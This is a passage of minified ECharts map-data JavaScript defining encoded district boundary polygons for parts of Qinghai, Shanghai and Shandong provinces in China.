自治州",cp:[101.5686,35.1178],childNum:4},geometry:{type:"Polygon",coordinates:["@@ôl²ôÜê„VƒVkš™KmnU¤V°@„„LmĠVšnLÈL@alb@al@n°Vš_XmWUÈamaVIn@n‚aV£œóVWƒ™U£°ašxÈ¥@™‚aĊwȹ@óša™ƒğbm@k„w@mƒaÆw@ƒ„In¯mmƒ@UkkWƒÑÅ@@kċÅçVkÝJÅkVykŹl¥@¯š™ĢU܃X¥òý—mmX™ÝÅlmU@£™Wly™XW»Åbƒl@aI›»k@klm@UxUUƒVƒ¼¯Xƒl™aUnķ‚ƒI@x™@¯„ƒK™„ĉUU`óšlȝô@¤ƒÞJ„k°xVŽ„n@ŽmbXޝ›L`ƒ¦ĉbml¯X™ŽUŽl„ȂĊXzm‚ȁÔU‚ÜVšUnnŤwŦJɚ݄XÞW¯ô@ÈlU„b„mln"],encodeOffsets:[[103984,36344]]}},{type:"Feature",id:"6321",properties:{name:"海东地区",cp:[102.3706,36.2988],childNum:6},geometry:{type:"Polygon",coordinates:["@@@҄bš¤ÆI°ôU¼š°UŽnnWx™š@b¯L@lUUWbXxWl„ƨnxVUllš„XVŽUŽnL@lȀý²KVnƾ‚ĢwV»ƒ@mÞ£nÆƒÞÑmL™ƒKUaVżĕƒWVk²ƒƒÆÝ@ƒXw°@„ô™@a°wóUUmIk™™aVmÞwmknyƒ¹VÿƧnŏm£X»˜™naV±„Ýw@ašb@aƒm¯„ĉVó¦kÝWKUU@WanU™b@ôǺĉxb@šÇ¦™w¯bV¤„šUX›ôU¤bmm@UJnbÇbXVWn™`¯Umk@@bka@bÇK"],encodeOffsets:[[104108,37030]]}},{type:"Feature",id:"6301",properties:{name:"西宁市",cp:[101.4038,36.8207],childNum:4},geometry:{type:"Polygon",coordinates:["@@@kmKVUƒWk™VkUmwƒƧXkWwXaVV@k°K@aš™XwmmV™¯V»¯óÅJ™£ƒamŽ—X@šċVţÆķç™nUx™`kœ›`@šÅmĊx@Žƒ¦U¦„blVރŤèô¯„„Wbœx›¼œŽ@xċ¼k„™V™ô™bÇ@Ű@„™n„V°¦ĊJ„kĶa„lȍźU„a@aVwnJ°°J„anXlwš@ĢÓ"],encodeOffsets:[[104356,38042]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shang_hai_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"310230",properties:{name:"崇明县",cp:[121.5637,31.5383],childNum:1},geometry:{type:"Polygon",coordinates:["@@uŏu»GPIV±ÐɃŜ{\\qJmC[W\\t„¾ÕjÕp‡nα|ěÔe`²„ †nZzZ~V|B^IpUbU†{bs\\a\\OvQ’Kªs†Mň£RAhQĤ‹lA`GĂA@ĥWĝO“"],encodeOffsets:[[124908,32105]]}},{type:"Feature",id:"310119",properties:{name:"南汇区",cp:[121.8755,30.954],childNum:1},geometry:{type:"Polygon",coordinates:["@@`y”ĉNǕDwǏ»ƒÖLxCdJ`HB@LBTD@CPFXANC@@PGBKNECCBB@EBFHEDDDSNKAUNBDMNqf[HcDCCcF…@EFGLEBa@ACoCCDDD@LGHD@DJFBBJED@BGAEGGFKIGDBDLBAD@FHBEF@RFDMLE@SGANFFJBANPH@@E@FJjRIACDMDOEKLFD@DbDAJI@AP@BGHFBCBGDCC@DCA@CECGH@FKCEHFJGBFDIHACEDNJDCVFBDCRKRLDLITB@CjNJI^DBCfNVDHDFKHAFGDIICDWBIF@@CFAjFJNJBBHD@CJ@AEFJ@@DH@BFBCPDBMFEQGDIFCNDHIP@HDABFACBJFHEBSZC@DP@@JDBƤ~"],encodeOffsets:[[124854,31907]]}},{type:"Feature",id:"310120",properties:{name:"奉贤区",cp:[121.5747,30.8475],childNum:1},geometry:{type:"Polygon",coordinates:["@@~T~JjZdDbLXDLCB_J@@FHFZJJIAGH@HGR@BENBLID@@LFCDF\\FpDBDb@FAHKFE†@dEDDdC\\GreNMACVMLBTMCCFCEGFAA@DAFDLMHA@OD@BMEWDOC@AS@KGAI_DcKw„ÕísƝ‘åĆctKbMBQ@EGEBEJ@@MBKL@BJB@FIBGKE@ABG@@FMFCPL@AjCD@ZOFCJIDICIlKJHNGJALH@@FPDCTJDGDBNCn"],encodeOffsets:[[124274,31722]]}},{type:"Feature",id:"310115",properties:{name:"浦东新区",cp:[121.6928,31.2561],childNum:1},geometry:{type:"Polygon",coordinates:["@@EN@JJLNHjLJNR^GRYVBNZJRBV@PDvbLNDN@LGNER@nCNQNuT_TIVFV\\Z\\XnDrI|[Ʉś²ÏJUHOƣ}CA@IO@@CYDATGFIEDAEBBAGCO@GJMCEDCJRHEFANOCADAEG@@CI@FE@BDIC@AGIAIMiEEB@DE@AJCXJDCJEHGBELGCUCeMAD]CIJiM@DSAKJKCLQDQACUECDMIFCBDJGECHAEIWCK@GLMCCGEACNKCEJG@MMBMC@@CIJUINT@JAJSTEPZZCP"],encodeOffsets:[[124383,31915]]}},{type:"Feature",id:"310116",properties:{name:"金山区",cp:[121.2657,30.8112],childNum:1},geometry:{type:"Polygon",coordinates:["@@L@BIHFN@@EE@@EFBDGDAADVDD@@EF@CA@IIsRE@GDAF@BF@CV@|FBCHBLCNHAFCADBMDCFZXHILBVEEQA@MWFARJJ@DCX@@TEFBLHAAERE@AJABRPBNK\\BrJ\\VHGND@CNADKDADQjGAGNC@GJ@FCFFHC@JF@@dLBDSFADHVG\\DTEPDDHJALIJkJDJCDIPE@YDCBiK@DONE@EH@BAF@HLJA@EIA@ALKNA@@FIFAFHR@NALadsæąyQY@ƒA±DʼnXUVI^BF@FFF@HBJEDFFGFEBSRkVEXGHFBMFIVW@GAEEFOIAIPKABGWEKFSCQLQBSEIBC\\FdBLRR@JGACFDDEF@AWB@LJJYNABBA@CUEGPaO_AIE@MYMFIGAEFECHSAAKAO\\[JEDB@E@MMA@@AGBKMGDFFCDDFEDFJF@NPBAFLHFH@EDDHBADDC@DDCDHHCDDFDABDAD@FEFOBCJ[D@HEDDNJBDDHABJIBBvGLBJAH"],encodeOffsets:[[123901,31695]]}},{type:"Feature",id:"310118",properties:{name:"青浦区",cp:[121.1751,31.1909],childNum:1},geometry:{type:"Polygon",coordinates:["@@RUNKdOFDJCbRFMLAHPLDN@JGL@@APBWYCKN@TU@SHGCEJIDIJKVIZVNM`iNY@CIE@CA@KBOEGEUFCCSADEIEFCDDDIDDHC@CKIeDCG@IG@DHWFEEGCH@@GO@@O]CNpeEQDBFME[JC]DGF@CKOA@QSB@GB@@GW@@ED@AQIJIAAFE@@DO@CFI@KNG@CDACAFEGKGBEGBDCCAIFCCLIECFI@MBCLDHGNAHSF@DMB@EEKBA@@C]DEICFG@ADBHGFKCDAKKHKD@@FHGAANGEEFCHKCECBCKG@ADKCNE\\[A[I@@mGBDQQEO@BCE@AI[AML@JGACLOAFKEMM@EQKC@CUCBCCBCHEA@FF@@FM@GEAJK@GNF@EXPH@FD@M^@HIADJCFDBER@DK@@DE@CAKFOCCBDHIBCNSB@GFC@GQEEOWFICGDUAEJIDBTAHJHEB@DIF@NE@H|HBDBEH@DKBAHEF@HEEUB@FGFGCCCE@AHOB@NH@PRLVNNFBX@RC€PbAvMtBfH@DJF@ELBFA@EH@HNED@FFB@HLC@CJ@@DJ@PIRf@HE@CFF@GPHD@DKE@FFBEFFD@DEFCA@DD@IjCRFBAHFDKD@HF@@PM@H@BlbDJDBFEF@DLXB@HCD@@IFCBIFEJD@FDC@FBALLF@PAACJERACAJCBD@EL@JD"],encodeOffsets:[[124061,32028]]}},{type:"Feature",id:"310117",properties:{name:"松江区",cp:[121.1984,31.0268],childNum:1},geometry:{type:"Polygon",coordinates:["@@@DLDFRN@FNELPBDKHB@INK\\BBJF@ADP@RFCRHA@nJ@B\\[\\MFLDBCH@DLDADFGLEDFFMHBBGH@EC@GLLLCBLDHEAGBCH@DEFJ^C@DB@LAFFA@CNE@GTMBGHKCAD@NEJFDKJDDJEDBCDHAAFLHFHBEBDDCH@LMJ@DEP@@CF@BEJBJIBRC@@FX@@HA@@HTA@RPBDLE@CHD^\\INFAERCfFMo^D@PP@@HG@HDFFXECGH@@JDHfCLJ@DGDCCCJCCEDJFCFTBDDVEHFPFLAB@NBFCFKFC@CHIACNOHWHCAAFIDD@CDAGEI@ACFMF@R@R_@GQED@EGFEQEDE_IAHKAEXCQUOQCUDEN@ZI\\DDmAMHCICDSOC@EG@BKHIGMIBCGOCSF[CUHCGEBCTKA@cE@@IGDEEEDI@@HMDBHiHCRCBCLMB@DMCGH[UqI[AMLOAAQIB@BQFBFGBAKFE@SW@CDI@QIEBNXB@FRUFKAGJYWDENCCADBBEMGKDGAAD{EU@@DAEE@CB@HQFJt@JDBE@@FC@"],encodeOffsets:[[123933,31687]]}},{type:"Feature",id:"310114",properties:{name:"嘉定区",cp:[121.2437,31.3625],childNum:1},geometry:{type:"Polygon",coordinates:["@@F@LI@IDKJADKIEJICADGACFECCJ@HKCAFOHAJI@aCBEE@ICAEB[GFGCKL@FGEIFADMLCAEJM@ELQECEIG@BE^QKKLQCA@EHBIGQ[GEHOMGGDHKH@JOECFCjCBEFDNCACMBCILGTABDLEEOEIG@GFIMM@CGKFBFCDE@@GEAGEEACIcGaHMFITIHDN[AKF@FS@OA@BK@IHM@KCGOKBENaQIDECcPMLQVFHFB@BFBKLGD@FAJOVGIACQ@A`LPCB@JEF@RU@ANS@@RCL\\HIFpRBFRBBDKLLDADJDGBFDABHBEDNF@DGBBBADKDAHC@\\JJFBDEH[DEFDH\\LX@XLBLbT@DNJLDCEL@VJABJNDHB@HBHYFBAA@GNFB@@AFB@AFABFLFBHFCL@HJBAFBLC@DN@HN"],encodeOffsets:[[124213,32254]]}},{type:"Feature",id:"310113",properties:{name:"宝山区",cp:[121.4346,31.4051],childNum:1},geometry:{type:"Polygon",coordinates:["@@ˆmÖoÖiƒ½[s[YEUJU`SCIEBCCWJY_LIICDWU@@FaBCJIB[ICH[@@CDKEE@MK@@IMCAEBCH@AMFI@SMGEFGB@FK@BHCAIFJNQD@FEBDFMBKGACG@ECWH@@CDDTOEEBGEK@GC@EE@GPHFR\\JHGA@FDBKRLL]RAFH@FJFDKR@FINBFKDCNEBFJEHK@DLEH\\HFADB@JFFDA@bIJGBEPDBGLI@DDEFBDCHDBIJJFCLIBCL@JKJE@ADHDBHJ@HIBBDFHBBAEIJ@BJFAVL¢ˆ"],encodeOffsets:[[124300,32302]]}},{type:"Feature",id:"310112",properties:{name:"闵行区",cp:[121.4992,31.0838],childNum:1},geometry:{type:"Polygon",coordinates:["@@T@@ELE\\BCMJGJSNEbGdHDJFBJAFIEIFCEWG@@gMENSFCVJFAxR~B@IH@AIiI@GE@FGEAFQPDRiV[\\DFSGMHAXHDOMCJCDETBBNVJJI@DD@ANNNH@FILDDMFBDHNDHKL@XDFGLD@EHGFD@DDB@CDDHCDAEAHG@ABOJ@BIaC@CECLKPFNCDCJBiQEIF@@@OGBMIAEEBMTHF@NKEC@QFEGA@EBCKAACHCLJHEFHHB@AFCAIEACIC@HG@KCCDC[ECEED@KC@KJMAAFQ@GHG@BHIJYIGE@EI@A`KDWCaKcCiY}I}S[CYJM@CFDVPRRVWDFžLBBG`JCFRFEFFHC@RF@HQ`Q@E@ENBDJ@HFCB@DCCEJBBGDGXMPBDGJ@DEDELEDMA@DJF@DMZ_jMNYUUJILCJIJDFGH@TSVM@DLXZ"],encodeOffsets:[[124165,32010]]}},{type:"Feature",id:"310110",properties:{name:"杨浦区",cp:[121.528,31.2966],childNum:1},geometry:{type:"Polygon",coordinates:["@@V@CXJDKJZ`XIDDFADJvSRMDM@mFQHM@KCMKMuaOCU@BDAJSX@HKJGD@PNJCJWAGT@R"],encodeOffsets:[[124402,32064]]}},{type:"Feature",id:"310107",properties:{name:"普陀区",cp:[121.3879,31.2602],childNum:1},geometry:{type:"Polygon",coordinates:["@@F@@FHDL@HFFAPFCSDC@@XGFDH@BDLHNACEFA@ERCIMJEDBAGL@@EHAFENHHJ\\ONQBQCIBC[MKACKI@GGGH@I_G@CW@[DMHCDIBMTDHN@JNHEH@FJFPKFACSBKHDJNABDMDECAFiDEDFDIPG@GLHCNH"],encodeOffsets:[[124248,32045]]}},{type:"Feature",id:"310104",properties:{name:"徐汇区",cp:[121.4333,31.1607],childNum:1},geometry:{type:"Polygon",coordinates:["@@RADL\\NCPHFfLJaJ@FWLGMGIK@IFMDOYYFOTSBI@IMSAMSACFIDNDCPWGGBHNET[CU\\QjOCERFBEHF@@HjJBJG@@J"],encodeOffsets:[[124327,31941]]}},{type:"Feature",id:"310105",properties:{name:"长宁区",cp:[121.3852,31.2115],childNum:1},geometry:{type:"Polygon",coordinates:["@@HFFB@HF@DCAELENSJADCNG\\CX@@D`H@JHGHHJ@BINBFUGEDO[MCKQB}AwQEBUIEDMTNF@hH@FXEDFJEJIB"],encodeOffsets:[[124250,31987]]}},{type:"Feature",id:"310108",properties:{name:"闸北区",cp:[121.4511,31.2794],childNum:1},geometry:{type:"Polygon",coordinates:["@@CSG@BQGODUPWTOBQAAFMECKBGEMFKEOHADDJARMR[PGI@TEJBNG@ADBFND@JL@@NFFCL@D\\@DG\\JJADI"],encodeOffsets:[[124385,32068]]}},{type:"Feature",id:"310109",properties:{name:"虹口区",cp:[121.4882,31.2788],childNum:1},geometry:{type:"Polygon",coordinates:["@@bA@E@QHSXBDIMI@OHCLI@GTWBIACQAYIOFGCENBBARSPOXCVHPARH@DT"],encodeOffsets:[[124385,32068]]}},{type:"Feature",id:"310101",properties:{name:"黄浦区",cp:[121.4868,31.219],childNum:1},geometry:{type:"Polygon",coordinates:["@@NEHFLAFDHDPEAMZUHQQ]IMKJG@EPERABHBGRUCCNGV"],encodeOffsets:[[124379,31992]]}},{type:"Feature",id:"310103",properties:{name:"卢湾区",cp:[121.4758,31.2074],childNum:1},geometry:{type:"Polygon",coordinates:["@@VDHQGABAFQFOH@LIiKKHEXI@IbAFZB"],encodeOffsets:[[124385,31974]]}},{type:"Feature",id:"310106",properties:{name:"静安区",cp:[121.4484,31.2286],childNum:1},geometry:{type:"Polygon",coordinates:["@@DLLB\\NPGLFHUDMYABEeKEVMAAJ"],encodeOffsets:[[124343,31979]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shan_dong_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3706",properties:{name:"烟台市",cp:[120.7397,37.5128],childNum:9},geometry:{type:"Polygon",coordinates:["@@ŤLšLllVń²è°xżĢĠÆl҄šŤbœ„V¤ĊXnŽlĢVĊ„Òš„ȰĊŰÞè˜L„±@џn»VUźċ²»ÆkôVɆkĊѲkŤVVwUUVmUaƒ@KkU@ƒmUmmk@UwUkmW@UVIXa@ƒmw@a™KULƒaƒx@Uk@UbWU@yULmK¯@kXƒVUwm@@JUUknWKUVƒLUbU@™wWykIƒa@w@mUI@ašUVynIWa„k„@@W„bl@@knmƒK@wnIl™°Kna@V¥ğ@ġUķ»™¥@UōJƒX¯¤k@™wmI¯‚k@mwƒak@@šlX@bUJ@VƒbknWxkLkxlŽšLVlkLmŽšb@bU@ƒbU@VbU`Vb@n„L@Žmb—U@˜VnUVmnU@mm™@kIUWVIUK›VkkUJUnmL@VmLUaVWaXamU@™™U@KUUmVƒU—JƒU™VÇwğn™mƒ@mXĉV@l¯xnô"],encodeOffsets:[[122446,38042]]}},{type:"Feature",id:"3713",properties:{name:"临沂市",cp:[118.3118,35.2936],childNum:10},geometry:{type:"Polygon",coordinates:["@@˜bXlƒl@zlV@lXXmŽkbVVlš„U@Vn@@Vmb@XšKšVX„WJ@XXl@„‚ŽÈbVLšUl`„@XXV@VVUxVbUxVbš¦„@‚WnXVJ@bnVUzl@„°Æx„U„KlU@mUUnUlUVWVUnVV@XX°V@Všll@Vk„aXVl@Ux@bmbXLlKlb@b@bUJn@@„„b@n°x°K@an@@UlLVKVbXb@bVVnK°LVa@UVa@™Xw‚KVxnLšU°@naV@UWUkWƒULmV—wÝKUUla@aó_@mƒK@aUU@ƒWUkwVm@aVI°W„@@IUw@a±¯@¥kUVUm@a‚wkw™@ƒK@kVKk@maXalI@alL„WXblaVLVU„V@LnKš@„l@w˜aXašLlnUl„LšmV@n°J@_VmnIVym£UKmI@WnIVm@anUVmÇ_kġIÅWUXÇm@U@ݯÅ@ƒ™@naWƒ™IVW@IkK@klKn@naWIƒmk@ƒaƒbkKkLWn™WkLWmk_ƒ@UaVƒUKmLUw@mn£WwUmU™ƒaóV@UkUm@UKULUwmJUX@WW@XҙzVblJXŽWXk@UVWK—X‚¤UL@xU@ƒ@ƒVUaU@@XmVkLmWkXUyÝLmKXnVŽ@n@l™x@bWLnVVn™`knULmxUl„„WLXŽVb@VƒK@z¯x¯¼Wx™KUn@bk@ƒlƒVVVz"],encodeOffsets:[[120241,36119]]}},{type:"Feature",id:"3707",properties:{name:"潍坊市",cp:[119.0918,36.524],childNum:9},geometry:{type:"Polygon",coordinates:["@@l@@UšK@Ž@L@bX@@VlL@JƒLUVnX@`ÜXn`V²mJ@bU@@n„b@l°xnnĸVƚ°@„ƒĊ£Þ@lWnÑnkʶJmó°w@kk»V@»ƒ¥k@V@kw@wVm„a˜Å„mšaô£ŎƒXI@mln„Kla@mV_UKƒ@kUkw@alW™IU»™mƒ—@WUIl±UUÅU›bkJƒ@a@wUKUaVIÆmXIWaka@m@Ul£XKVw@ƒUIƒJUkmJ™ƒVkU@a„ƒWK—ImVƒ@UxmL@bX`WXU@U`ÇkUak@@°UblXk‚mLUKmL@VULóƒƒVk@@Vlbn@Ub@ċaUJUbƒIUlVLUVVbVKX„VlVXU@mb¯@™VmKUwLWx@šUb@VUb¯KmLUU@aWaUaULkK@Vm@@b¯L¯w@mƒa@ƒm@UUU@U¦lJUXƒVƒmkb@nm„XVWŽkb™IVxUV@VUbWLXVƒLW`Ux@nk@Vn@x@VkJ@œV`mXkŽ@V„xV@lVššI@VULš˜VU„IV`°bVXXx„V@VWVnL@xV„Ub"],encodeOffsets:[[121332,37840]]}},{type:"Feature",id:"3702",properties:{name:"青岛市",cp:[120.4651,36.3373],childNum:6},geometry:{type:"Polygon",coordinates:["@@„@nU˜JXLƒ„@blVU‚š„nIVl„IVJ@„UxWLk¤@V@nlbXbWJÅnUJVbVL@x@b„ŽlIœaÆVVVk²VJ@X„˜šnV¼šJkX@blxlV„@VLU`@nkbƒLkm@nWJō„ó¤™bƒn—ƃbUn@xlxU@l@„¦@¼UŽl¼ĊUnW„@šnĠmÈxšU„V˜I„VnUVV@LšV@šnVWbXb‚UVbnK@UnKVmVIllœUVLUJVXlJš@nnV@nmVUUm@—˜Vna@ƒK@mUaV_UaV@„aV@@a™anlKUk™KklwlKXwlm„a@UVI@akW@™l@„bnxl@°nJšxl@°£„WŎIUÑn»lašmô¹Ŏ¥VaUUkƒmkġWɱIUUŹ`›@kk@ĉƨřV¥_Ç@™Ĭƒ¤ÝL¯m¯£ƽóķwUW±ī¯kōaĉĕ™kğmó°ƒbW@UKkLUaƒVmz@V@ŽUxVn"],encodeOffsets:[[122389,36580]]}},{type:"Feature",id:"3717",properties:{name:"菏泽市",cp:[115.6201,35.2057],childNum:9},geometry:{type:"Polygon",coordinates:["@@@¥šIVUÈmÞ»@UlU@Un@VW@UVmkk@aVUUKVÝ@UVknK@UV@VVnIVƒ@wnƒmwmKXaWaXI@UV@Vy²blkVKkam™U@kb@Um@VmUkmƒKmkXKWwkU@Ulƒ@UnK@UVUUm‚KXwšUVL„w‚K„U„@@Wl@@wUkV¥—@@I@W@_V@VWUw@UUa@aƒaWa—@@_mKUw™l¯amzmV—@WK™nU@kƒWLķaUKbÝVmV@UWÇbÛ@ƒX™°UbW@XŽm„Vlk²UJUbmLÇxÅWUzl‚¯Ll„@VkK™XUbWJ@bU@¯@™ƒkbƒLmKka™„@l™_WšXºVbUz@J‚n²V@¤lX„Ž„nV°šLn`WbXLôVlKVUšxXn˜lXLlU@bVV@„XJWLUVnVV@„„@n‚l„°nn‚V„KÈbVXÆJU°VnXV„kV@@xVL„@šWlb"],encodeOffsets:[[118654,36726]]}},{type:"Feature",id:"3708",properties:{name:"济宁市",cp:[116.8286,35.3375],childNum:11},geometry:{type:"Polygon",coordinates:["@@nam_nKlVLXa„Il`š_@KVVXI@m@w‚ƒ„@@k@Kšnô@n`VbV@@L„L@KVVn@VX@‚VL„Jl„š@VUUƒU@Uam@Uk„wšKWaXamkJmIUVUÈblašUnV@kVKl@@lXL°kVJ@VÈnVJUX@V‚LXl@xVLnU‚@VK„V@a„IUaV@„bĊU„x„K‚kVJXUlV„ƒ„UVašI@WUI@KlUnw„mWk@WXIWƒ™U™L@Wna@Um@@UƒVk™UUlanWW@kkU@y„kWk—aWVUlÝbUU@kƒJUIU@@ƒ™JmaókƒLKǃUUkKWLk@WbkUUaƒbmKn¯°¥V@XwV@VanaVaU_@Wlk@WÈ@VUÈVVۂm„aklKȯlLVUX@lK@aX@@kV@VmV@VwnJV_UWUwƒX™am@kW@wVUkKVIUUVmU@UV@IVK@aUL@aƒV@Lm„UKmx@ށômLkUWJ@šnXmlUxUL@Vkn›VUšU„@V™L™`Ub±LkV@kUKÇbÛ@ƒU™Wó_mJƒ@Wk@@Xƒ@ƒVLƒxUK™VWxLVnUV@VmL@Vk„@VlVXxWLnl‚Ln„VlUnn@@VlaV@nšlbULkl±aUzU@@VWJXbWbnLnxm„@xU„mJUUU@@VmLUl@VUÞVLUV@bllUn@VUXm@@VkV@VݼÇnUV™J@¦nnƒlnVlL@„Þb°KVV"],encodeOffsets:[[118834,36844]]}},{type:"Feature",id:"3714",properties:{name:"德州市",cp:[116.6858,37.2107],childNum:11},geometry:{type:"Polygon",coordinates:["@@„¤@VmbVXnVVbVJššX@Žll@z„lVInl@„@bVxUbĠ‚l@Èbla„IšxXVWb@L™@n‚ULWVXXšWWLnL@`@LUVVL@lVn„JšU@UUk‚a„™nš‚Vôô„b°¼V‚ސXš˜‚œIÜbČa˜bôW„XÞWÈzÆmnLVJ°ÈnlV²lbnW@™@UƒUV™šmnwmkkKWƒkla@mVIUKUa™aUwmn™JU@@amIk@@bVlkX@mmUklUUƒƒa@_UaUUƒV@wƒw™WkXmW@I@WUaÝU@UXaWUU@UUVW@UUUWUn¥nUVa@m@k@alU@wk™LWa@UUm@@wnmU™wla@anKn_@alK@ݙ_ƒ@@WUUUmlkaƒIƒyU@UwU_Wa¯yU_mWUwkImm@InWWUk@@UVWV—kW¯U@VƒL@b¯b@l±¦@šVV@lUbV„@škxVnUšl¼XV@b@lV@nIWxnbƒ‚™@UU™LƒxÅxm¯ƒaUƒ™wU@mUÅVÝKULm@bmKUXó@"],encodeOffsets:[[118542,37801]]}},{type:"Feature",id:"3716",properties:{name:"滨州市",cp:[117.8174,37.4963],childNum:7},geometry:{type:"Polygon",coordinates:["@@Vb@`„bV„kVlnV@nlWUk@al@nJ@bV@šInmVxšbVbVLUJ@nkb‚lX„lLnlmx™nUš„V@V@šmXn˜lbĸ@nnVx‚b@lnXV@UJ@nVxšxnxVbÆVn¯ƒĕ‚@@wÈçUÇlķVIœb‚@„Çmk@¥k@UkUK@aWakUóJW_UW@wkkWK@U@Kš@XUƒƒUkmUUalKXala@U@kkWlkÈl@kšV„mVIVmU_‚a„ƒƒwnwVW@wƒwUƒ@wU£ƒwkJWIyUI±bk‚VUJ@nmV™Ukl„Xmx@lnbW„kVƒUkLWŽƒxkKUUmUkb™J±—LÇxUKmkUmkkW™™a„mUaVkšJÆ_²KĠ@U„W@w„U‚¥nUWwK@aÝUkÅVaVK@akLWƒƒƒ¯I@bnbVx¯JW„ñšWbUL@šƒŽnV@VmbkUUV@IÇak@@bWak@WJUœJWL@bXV@„‚@„V„Jlb@zUlUŽUImšnbV‚mz@°UV@V™bV@@V@L@xLmKUnmJVX„J@VkLW@UVUL@b"],encodeOffsets:[[120083,38442]]}},{type:"Feature",id:"3715",properties:{name:"聊城市",cp:[115.9167,36.4032],childNum:8},geometry:{type:"Polygon",coordinates:["@@ô@VWnL‚an@VKÞLÆUnVV@šxV„„bn°Æw„wšKVVš@„maXwmJU@@k@aWUk»V™Umlw@™UƒVa@kUU@™²¥@k°a@a„K@U›ƒU@mmm@ów—ѱ¥¯@@w™Kmw—I›¥kU¯UmakJmIUaƒVkKUkm@VUUa™Uƒ@UaƒKUK¯@™w™UVŽUIUKVw™k™¥™wƒbVŽ@xn„@lWnXxlL@`„XlJX¦l°XxW¦@¦Ul™n@Ž™@@Um@@VXVmx@¯bllUnUJ@VULVn@b„xV‚VL@b„„VlnVVblV„ÈnVlIVJœLô„lJ@xl²„"],encodeOffsets:[[118542,37801]]}},{type:"Feature",id:"3705",properties:{name:"东营市",cp:[118.7073,37.5513],childNum:5},geometry:{type:"Polygon",coordinates:["@@ͬUǪlô@°Uœw°ōĠ¯š»Ģ炻XÇ@w™wƑa™ÇƒkwVƑ¯@řķUmm¯w@kƒa@mV@@anIU±m_ÛW@_mWVU„K@IkK@UW@@a@K@™L@Vk@±U@UV@lm@mUU@kLm„„xV¤@xV„„x@xUXmx„xƒ„bV`UnUJƒn™U@lÇkkllX@l@VkbWbkLVbnVVl„„WV™@@L@VXLll@xVXX`ôIlVXb@bVLVll@@¦nlƒÈ@›aUJkĸVÈÇè@x"],encodeOffsets:[[121005,39066]]}},{type:"Feature",id:"3701",properties:{name:"济南市",cp:[117.1582,36.8701],childNum:5},geometry:{type:"Polygon",coordinates:["@@²¦˜Òôxn@nn‚@V‚œ„°VlXU˜UX@Vl@XVmX@JnnlJVxnXV`°zXbV`VxV@„z„JlbkŽVnVV@X„@š`@ÞkL@bm`mL@bkbšxnVm@xn@VV‚@XbšKl@xkV@b@l@nUbmVm¦XVVV@VUXVVV@XVWb@VÞVVb@X@JnXlWšX„x@x„UVV@aVKVUX@lK@UƒIUWnIVmnL‚K@w@K@UU@ša@UVU@¯nyUman™VJVVk@ykaƒIƒU@@ƒWU@aXK‚IV›XIl@Xb@al@Èb@JVUlVna@UmU„@™VKXaò™Xƒ°IUwma@aU@UU@wVW@фw@a™I±`kbƒUkw™UmJ@UkmÇUUkmKknUVƒ@mJUkaWkƒa@KmKkUƒLmyXa¯_@WmImmbƒLmUkVUbUVƒJ™bƒUkkWJkUƒl™IUm™k™Lƒ›„lK@knaVmkI@mWaƒLUK™UU@@VmLUVLWK@UUUƒWUkkVmx@„Vl™¦"],encodeOffsets:[[119014,37041]]}},{type:"Feature",id:"3709",properties:{name:"泰安市",cp:[117.0264,36.0516],childNum:5},geometry:{type:"Polygon",coordinates:["@@n¼šŽW„nxšL@x°@š¥Uk@ƒnwlUVl„XVV@VXL‚KVUnK@UV@šVVL„KXb@nlJUnmb@lkLƒ‚„œšKšlVnšJ„klVXIll„Vša„IVUValUnV„K‚annnJ@X°`Wbnz„KlVnL‚Ž@L„bXl‚bVlnI„@VUU@UmVƒ@U@Uš¥@VmV@@_Ua@m°@@ƒ„kmUUm@UVmn@nX‚@@a„anJVUVL„mlIVJn@nkVLVa@KVmVLXVVLš@@U°bn@VaV@@K@aVkœbWaXUVymU@aUImWXƒ@™¥UaVwUaVwUUU@WWƒ@k_™VUKÇa@ƒƒnmxkV@LVJ@X™JUbƒVƒ„kUWVUIlƒLƒwĉVƒaU@VbƒJ@bƒUUL@mVUK@wWkK@UVWUIÇm@UUI¯lWK@kk@UL@lmU™VkbÇaUVVnJlIn‚WbXb™LƒxVln@VbV@V„UV™@kƒƒIUK@UWm@UU@LƒK@KU@Uam_ó@™m@L@lƒ@„@x@nWJUU@L™`k_ƒJWbUKkmLn`mb"],encodeOffsets:[[118834,36844]]}},{type:"Feature",id:"3710",properties:{name:"威海市",cp:[121.9482,37.1393],childNum:4},geometry:{type:"Polygon",coordinates:["@@VbUnVVUxĊ¼š¼ô@Þф¯‚WǬLŎUÆW„¹Uǃō¯ÑƒÝkţ™™ţóġ™óL™ł̥U™wm¥kÝmkkKóbÝ@U¦@‚mb¯LkšmJ@x„Lmn@lk@ƒa@Xƒ@ƒlXbmJUz™V@bVJ@n@x„blJXzšxV@Va„KVUXLlmVV@In@Vx„UlW°@nLVK@zXVVal@@V„w„bVKšL@bnx@„WbUJ@VnXVlVxl@nnnV@„lV@L„‚"],encodeOffsets:[[124842,38312]]}},{type:"Feature",id:"3711",properties:{name:"日照市",cp:[119.2786,35.5023],childNum:3},geometry:{type:"Polygon",coordinates:["@@UaVUUKVk„JVaVIČb@Vam@ka@Ul@„Uô„VK@UnKVLnKlkWVa@¯l@VbÈlV_V@XWW_@anKVwUmVw@@Uny„UVblKVLX@„aô¯ó¥mÛĊÿÈ¥š™Þ¹lUīƒ¯Kĉ¼ʟbÇV™U™ŽUŽ™XmakJUnmV@bUnmJ@XnJVLn¤UzmJUn@`¯ImŽU@™nƒKVkkm™KWb—b@xƒk™@mL@KƒUUVUKkbWaƒXkK@bkJWbnbl@UL@l„Lš@lxx@b‚nUVlV@¦²°@bVx@Jƒ@¯XUJ@bUnlxVŽ„X@‚VV@b„L@nô`@bkbVVÞL˜xnU"],encodeOffsets:[[121883,36895]]}},{type:"Feature",id:"3703",properties:{name:"淄博市",cp:[118.0371,36.6064],childNum:4},geometry:{type:"Polygon",coordinates:["@@nƒlKV@nVn@@kVU‚@²VVaUƒ@wmKXU@UƒUWwUW¯aU_ƒJUV™—VK@U™JU™@kUƒw@UlnWU_@›lI@U@wUml@@mVwX_„KWUXKVa@UVUUwšJlaXWUnƒ@mla„n„UVWkIV¥V@VVVI@a@akakLWKna@aVwk@WUƒbUlk@™k@U¯UWWU@mUUVUXkVmVVV@nkVƒLƒVÅwƒ¯k@WVXb›aUl@bV@@b@xkVVXVxkJ@nk@@ŽVLUlVb‚VXUVVUzV‚™LVbUbV„VWVkLmškJ@n±@UxU„VVkV@bƒx@ÒUX@xVVV@°J